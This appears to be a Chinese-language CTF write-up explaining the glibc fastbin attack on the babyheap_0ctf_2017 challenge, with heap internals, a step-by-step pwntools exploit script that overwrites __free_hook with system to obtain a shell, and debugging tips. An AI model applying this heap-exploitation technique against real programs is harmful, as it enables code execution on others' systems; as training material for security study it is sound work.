堆漏洞利用实战:从fastbin attack原理到CTF解题与安全启示

📅 2026/7/27 13:25:00
堆漏洞利用实战:从fastbin attack原理到CTF解题与安全启示
1. 项目概述一次经典的堆漏洞实战复盘最近在复盘一些经典的CTFCapture The Flag题目特别是关于堆利用的发现babyheap_0ctf_2017这道题堪称是学习fastbin attack的“教科书”级案例。很多刚接触堆漏洞利用的朋友可能对malloc、free这些函数背后的内存管理机制感到抽象对各种攻击手法如unlink、house of系列望而生畏。但babyheap这道题设计得非常精妙它剥离了复杂的现实场景将fastbin attack的核心原理和利用条件清晰地呈现出来就像给你一套乐高积木让你亲手搭建一次攻击流程。简单来说这道题模拟了一个存在堆溢出漏洞的简单程序。通过这个漏洞我们可以篡改堆内存中的关键数据结构最终实现任意地址写从而劫持程序控制流。整个利用链条的核心就是fastbin attack。这不仅仅是CTF中的技巧其背后反映的glibc堆管理器的安全假设被打破的原理在现实漏洞利用中比如某些复杂的应用漏洞链构造中也有其影子。今天我就以这道题为蓝本拆解一遍fastbin attack的完整利用思路并分享一些在调试和构造payload时的实战心得。无论你是想入门二进制安全还是想深化对堆管理的理解相信这篇详细的复盘都能给你带来收获。2. 漏洞程序逻辑与核心数据结构分析在动手利用之前我们必须像侦探一样先把“案发现场”——也就是目标程序——彻底摸清楚。babyheap_0ctf_2017通常是一个Linux下的ELF 64位程序开启了NX堆栈不可执行和Canary栈保护保护但很可能没有开启PIE地址随机化或者部分地址固定这对我们后续计算地址至关重要。2.1 程序功能菜单与堆块管理运行程序我们会看到一个典型的菜单驱动界面通常包含以下功能Allocate申请一个指定大小的堆块。程序内部会用一个全局数组来记录每个堆块的指针和大小。这个数组是我们需要重点关注的目标因为攻击的最终目的往往是篡改其中的某个指针。Fill向一个已分配的堆块里填充数据。这里就是漏洞点所在程序在填充时没有检查我们输入的长度是否超过了该堆块最初申请的大小导致了堆溢出。我们可以利用这个操作覆盖相邻堆块的内容。Free释放一个已分配的堆块。这会调用free()函数将堆块送回glibc的堆管理器中根据其大小进入不同的链表如fastbin,smallbin,unsorted bin。Dump打印一个已分配堆块的内容。这可以用来泄露内存中的信息比如libc的地址这是绕过ASLR地址空间布局随机化的关键一步。程序的核心状态通常由一个结构体数组维护比如struct heap_chunk { char *ptr; size_t size; } chunks[MAX_CHUNKS];Allocate会设置chunks[idx].ptr malloc(size)和chunks[idx].size size。但Fill操作只使用ptr却信任用户输入的length并不与size比较造成了溢出。2.2 glibc堆管理基础与fastbin特性要理解fastbin attack必须对glibc的malloc实现有一个基本认识。malloc管理的内存块称为chunk。一个被使用的chunkallocated chunk在内存中看起来是这样的以64位系统为例---------------------- -- 用户得到的指针mem | 前一个chunk的大小 | 仅当上一个chunk空闲时有效 ---------------------- | 本chunk大小 | size字段低3位用作标志位如PREV_INUSE ---------------------- -- chunk指针指向这里 | 用户数据区 | | ... | ----------------------当我们free一个内存块时它会被放入相应的“垃圾桶”bin中以便下次快速分配。对于小内存块通常默认是小于等于0x80字节具体看glibc版本为了追求效率会使用fastbin。fastbin是一个单链表结构LIFO后进先出而且有一个非常重要的特性它只检查链表头部的chunk即当从fastbin中取出一块内存重新分配时malloc只会检查这个即将被返回的chunk的size字段是否与该fastbin的索引匹配。它不会像其他bin那样进行更复杂的双向链表完整性检查。fastbin中空闲chunk的结构如下---------------------- -- fd (forward pointer) 指向下一个空闲chunk | 前一个chunk的大小 | ---------------------- | 本chunk大小 | 例如 0x71 ---------------------- | 用户数据区 | 此时存放的是fd指针 | ... | ----------------------关键点在于用户数据区的开头被复用为fd指针指向链表中下一个空闲chunk。fastbin attack的核心思想就是利用堆溢出等漏洞篡改一个位于fastbin链表中的空闲chunk的fd指针。使其指向一个我们伪造的、位于任意地址的chunk。然后通过两次恰当的malloc操作第一次将篡改过的chunk分配出去第二次就有可能将malloc的返回指针指向我们伪造的地址从而实现任意地址写。3. 利用链规划从信息泄露到控制流劫持面对一个堆漏洞盲目地溢出和释放是没用的。我们需要一个清晰的利用计划。对于babyheap这类题目标准的利用链通常分为三个阶段信息泄露、堆布局与内存篡改、控制流劫持。3.1 阶段一泄露关键地址——绕过ASLR现代系统都开启了ASLRlibc的基址每次运行都不同。我们必须先从进程内存中“读”出一些已知偏移的地址计算出libc的基址。为什么能泄露当释放一个较大的chunk大于fastbin范围时它会被放入unsorted bin。如果这个unsorted bin里只有这一个chunk那么它的fd和bk指针都会指向main_arena内部的某个位置unsorted bin的链表头而main_arena是libc全局变量的一部分其与libc基址的偏移是固定的。如何操作先申请两个较大的chunk例如0x90大小防止与fastbin混淆。Free掉第一个大chunk。此时它进入unsorted bin其fd/bk被写入main_arena的地址。再申请一个大小较小的chunk例如0x20。由于malloc会从unsorted bin里切割内存来满足这次申请原来大chunk的一部分被切走剩下的一部分称为last remainder仍然留在unsorted bin但其fd/bk指针依然指向main_arena。这个剩下的部分其用户数据区的开头就包含着fd指针即main_arena地址。我们通过Dump功能就能把这个地址读出来。用读出的地址减去固定的偏移例如main_arena 0x58在特定libc版本中的偏移就得到了libc的基地址。有了这个我们就能计算出任何libc中函数和符号的运行时地址比如system、__free_hook。实操心得泄露步骤非常依赖堆布局。务必确保在泄露之前unsorted bin中的chunk是“干净”的没有其他chunk干扰其fd/bk指针。有时需要提前分配和释放一些chunk来清理堆状态。使用gdb配合pwndbg插件的heap bins命令可以直观地查看各个bin的状态是调试的利器。3.2 阶段二构造fastbin attack——篡改fd指针这是利用的核心环节目标是让malloc返回一个我们可控的指针。堆风水布局我们需要精心安排堆块的位置。通常需要几个大小在fastbin范围内如0x70的chunk。假设我们有chunk A, B, C顺序申请相邻排列。制造并利用溢出Free(B)。此时B进入fastbin链表其fd位置原用户数据区可能被清零或保留旧数据。利用Fill(A)的溢出漏洞覆盖B的fd指针。我们将B的fd改写为我们想要攻击的目标地址例如__free_hook在内存中的地址通过阶段一泄露的libc基址计算得出。但这里有一个关键约束fastbin在分配时会对size字段进行简单检查。我们伪造的chunk在__free_hook处也必须有一个size字段并且这个size必须与当前fastbin的索引匹配比如对于fd指向的“chunk”其size字段必须是0x7?。因此我们通常需要寻找目标地址附近一个恰好有合适数值的内存地址将其“解释”为size字段。__free_hook附近往往能找到这样的值。触发分配实现任意地址写现在fastbin链表看起来是头 - B - [伪造的__free_hook地址]。第一次malloc(0x60)会返回chunk B给我们。第二次malloc(0x60)glibc就会顺着链表找到我们伪造的“chunk”检查其“size”似乎合法因为我们精心挑选了地址然后将其返回这样我们就获得了一个指向__free_hook附近的可写指针。3.3 阶段三劫持控制流——写入one_gadget或system地址拿到任意地址写的能力后剩下的就简单了。选择钩子__free_hook是一个libc全局函数指针当free()被调用时如果__free_hook不为空就会跳转到它指向的地方执行。这是我们常用的劫持点。写入目标地址通过我们获得的指向__free_hook的指针使用Fill功能将__free_hook的值覆盖为system函数的地址或一个one_gadget——libc中一段能直接启动shell的小 gadget 序列的地址。触发执行最后Free一个内容为/bin/sh\x00字符串的chunk。程序会调用free()进而跳转到__free_hook指向的地址即system执行并且free的参数那个chunk的指针正好成为了system的参数从而执行system(“/bin/sh”)拿到shell。4. 详细利用步骤与调试记录下面我们结合具体的操作和调试命令一步步还原利用过程。假设环境是glibc 2.23与0ctf 2017比赛环境相近使用pwndbg进行调试。4.1 初始状态与堆块分配首先启动程序并连接如果是远程题目则用pwntools连接。我们规划以下堆布局chunk 0: size 0x20 (用于后续操作可能作为溢出源)chunk 1: size 0x90 (用于泄露libc地址的大chunk)chunk 2: size 0x90 (防止chunk 1释放后与top chunk合并)chunk 3: size 0x60 (fastbin size用于攻击的chunk B)chunk 4: size 0x60 (fastbin size用于隔离的chunk C)# 使用pwntools脚本示例 allocate(0x20) # idx0 allocate(0x90) # idx1 allocate(0x90) # idx2 allocate(0x60) # idx3 allocate(0x60) # idx4此时堆内存布局大致如下[chunk0 0x20] [chunk1 0x90] [chunk2 0x90] [chunk3 0x60] [chunk4 0x60] [top chunk]4.2 泄露libc地址free(1) # 释放chunk1它进入unsorted bin # 此时chunk1的fd/bk指向main_arena allocate(0x20) # idx5 从unsorted bin切割大小为0x20这会使得chunk1剩余部分成为last remainder # 原来chunk1的大部分被分配为idx5剩余部分约0x70仍在unsorted bin且fd/bk指针保留。 dump(5) # 打印idx5的内容。因为idx5是从原chunk1切割出来的它的用户数据区开头就是原chunk1的fd指针所在位置 leak_addr u64(p.recv(6).ljust(8, b\x00)) # 接收6字节因为地址通常只显示6字节有效位拼成8字节 libc_base leak_addr - 0x3c4b78 # 减去glibc 2.23中main_arena88的固定偏移 success(f”libc_base {hex(libc_base)}”) free_hook libc_base libc.sym[‘__free_hook’] system_addr libc_base libc.sym[‘system’]调试命令在free(1)之后可以在gdb中输入heap bins unsorted查看unsorted bin状态确认fd/bk指向一个libc地址。4.3 构造fastbin链并篡改fd现在开始布置fastbin attack。free(3) # 释放chunk3 (idx3)大小为0x60进入fastbin[5]因为size0x70? 注意chunk头包含元数据用户申请0x60实际chunk size是0x71 # 此时fastbin: head - chunk3 # 计算伪造chunk的地址。我们希望将chunk3的fd指向__free_hook。 # 但需要确保__free_hook-0x10地址处的值能被解释为一个合法的size如0x7f。 # 在glibc 2.23中__free_hook前面是__malloc_hook再前面可能有一些其他全局变量。 # 通过gdb查看内存发现__free_hook - 0x23的位置有一个0x7f的值可以伪装成0x70大小的chunk。 fake_chunk_addr free_hook - 0x23 success(f”fake_chunk_addr {hex(fake_chunk_addr)}”) # 利用chunk0的溢出漏洞覆盖chunk3的fd指针 payload b’A’ * 0x20 # 填满chunk0的用户区 payload p64(0) p64(0x71) # 伪造chunk1的头部防止合并并设置chunk3的size为0x71 payload p64(fake_chunk_addr) # 这是关键覆盖chunk3的fd fill(0, len(payload), payload) # 调用Fill溢出修改chunk3的fd现在fastbin链表在内存中变成了head - chunk3 - fake_chunk_addr。注意事项伪造的size字段0x7f必须与fastbin的索引匹配。fastbin对于size的检查是(chunk_size 0xf) 0对齐检查且chunk_size global_max_fast。我们伪造的0x7f满足0x70大小范围。此外伪造chunk的nextchunk的size字段也需要是一个合法的值通常大于0x10否则在后续分配时可能会触发malloc(): memory corruption错误。这需要仔细检查目标地址附近的内存布局。4.4 分配伪造chunk并写入目标函数地址# 第一次malloc取回chunk3 allocate(0x60) # idx6 这对应了chunk3 # 此时fastbin链表变为head - fake_chunk_addr # 第二次malloc将返回我们伪造的chunk其用户数据区位于fake_chunk_addr0x10 allocate(0x60) # idx7 这就是我们梦寐以求的、指向__free_hook附近的指针 success(f”chunk7 ptr {hex(heap_addr_of_idx7)}”) # 这个指针应该约等于fake_chunk_addr0x10 # 现在通过Fill向idx7写入数据就可以修改__free_hook-0x13开始的内容了。 # 我们需要精确地将__free_hook的位置写入system地址。 # 计算从chunk7的用户区到__free_hook的偏移fake_chunk_addr0x10 offset __free_hook # 已知 fake_chunk_addr __free_hook - 0x23所以偏移 0x23 - 0x10 0x13 payload b’A’ * 0x13 # 填充偏移 payload p64(system_addr) # 在__free_hook位置写入system地址 fill(7, len(payload), payload)至此__free_hook已经被覆盖为system的地址。4.5 触发shell最后一步准备一个包含/bin/sh字符串的chunk然后释放它。# 首先我们需要一个chunk其内容为’/bin/sh’ allocate(0x20) # idx8 fill(8, 8, b’/bin/sh\x00’) # 向idx8写入”/bin/sh” # 触发释放idx8 free(8) # 程序内部调用free(ptr)因为__free_hook被劫持实际执行system(“/bin/sh”)如果一切顺利此时应该会弹出一个shell或者看到$符号表示利用成功。5. 关键问题排查与实战技巧理论很美好但调试过程总是会遇到各种“妖魔鬼怪”。下面记录几个常见坑点和解决技巧。5.1 堆状态污染与隔离问题在泄露或构造fastbin链时操作不当会导致堆状态混乱例如unsorted bin中有多个chunk干扰了fd/bk指针或者fastbin中的chunk被意外合并。解决精确控制生命周期用于泄露的大chunk在释放前确保它前后都是被占用的chunk如我们的chunk2防止与top chunk合并。合并后其fd/bk会被清空。及时清理在关键操作如篡改fd前使用gdb的heap bins命令查看所有bin的状态确保没有多余的chunk干扰。有时需要额外分配和释放一些chunk来“清理”unsorted bin。使用malloc_trim(0)在调试中可以调用这个函数如果程序有相应功能或通过其他方式来清空fastbin合并到top chunk但比赛题目通常没有。5.2 伪造size字段的合法性问题malloc(): memory corruption (fast)或malloc(): invalid size (fast)。这通常是因为我们伪造的chunk的size字段不符合fastbin的要求。排查计算偏移确保你计算出的伪造chunk地址其size字段位置即fake_chunk_addr 8的内存值确实落在fastbin的尺寸范围内例如0x20-0x80。使用gdb的x/gx fake_chunk_addr8命令查看。对齐检查size必须是2*SIZE_SZ的倍数64位下是0x10的倍数。0x7f是合法的0x71也是但0x75可能就会出问题。下一个chunk的sizeglibc有时会检查伪造chunk的“下一个chunk”的size位于fake_chunk_addr size是否大于某个最小值如2*SIZE_SZ。你需要检查这个地址的值。如果它是0或非法可能需要通过溢出等手段提前在合适的位置布置一个合法的size值比如一个较大的数。5.3 多线程环境与arena问题在一些更复杂的程序或新版本glibc中可能存在多个arena分配区。main_arena是主线程的如果题目是多线程的你泄露的地址可能不是main_arena导致计算libc基址出错。解决观察泄露出的地址值。如果高字节不是0x7f而是0x55或0x56开头那可能是一个堆地址而不是libc地址。此时需要调整策略可能需要利用其他漏洞先泄露堆地址再通过堆上的某个libc指针进行二次泄露。在babyheap这类早期题目中通常不考虑多arena。5.4 利用脚本的稳定性问题本地调试成功但远程攻击成功率低。解决堆布局稳定化脚本开头先进行几次“热身”分配和释放使堆内存状态稳定下来避免因为初始状态不同导致布局偏移。地址处理泄露地址时注意接收数据的长度和字节序。远程环境可能因为网络延迟导致接收不完整需要循环读取或设置超时。onegadget选择如果使用onegadget而非system可能存在约束条件如rax为NULL或[rsp0x50]为NULL。一个不行就多试几个。用one_gadget工具可以列出libc中所有可能的gadget。日志与调试在脚本中多加入一些success()、info()打印记录关键地址和步骤便于远程失败时分析。6. 从CTF到现实堆漏洞的深远影响通过babyheap_0ctf_2017这道题我们完成了一次标准的fastbin attack。它像一把手术刀精准地演示了如何利用一个简单的堆溢出经过精心的布局和操作最终实现任意代码执行。在现实世界中像OpenSSL CVE-2016-2177这类漏洞其危害本质也类似。该漏洞是在计算DTLS数据包传输层安全协议中缓冲区大小时出现整数溢出导致可以分配一个比预期小得多的堆缓冲区后续写入操作就会造成堆溢出。攻击者可以利用此类溢出篡改内存中的关键数据结构和函数指针最终可能实现远程代码执行从而完全控制服务器。这与我们在CTF中演练的过程在底层原理上是相通的。再比如Nginx regex map指令堆缓冲区溢出漏洞也是由于对用户输入处理不当导致了堆上的越界写。攻击者通过精心构造的请求同样可以触发类似fastbin attack或更复杂的堆利用手法来劫持Nginx工作进程危害极其严重。因此练习CTF中的堆题目绝非纸上谈兵。它训练的是我们对计算机内存模型、对glibc等基础库实现细节的深刻理解以及对“异常数据如何导致程序非预期行为”这一核心安全问题的洞察力。在审计真实代码、分析漏洞报告时这种通过微观操作理解宏观危害的能力至关重要。每一次成功的fastbin attack都是对“内存安全”重要性的一次深刻警示。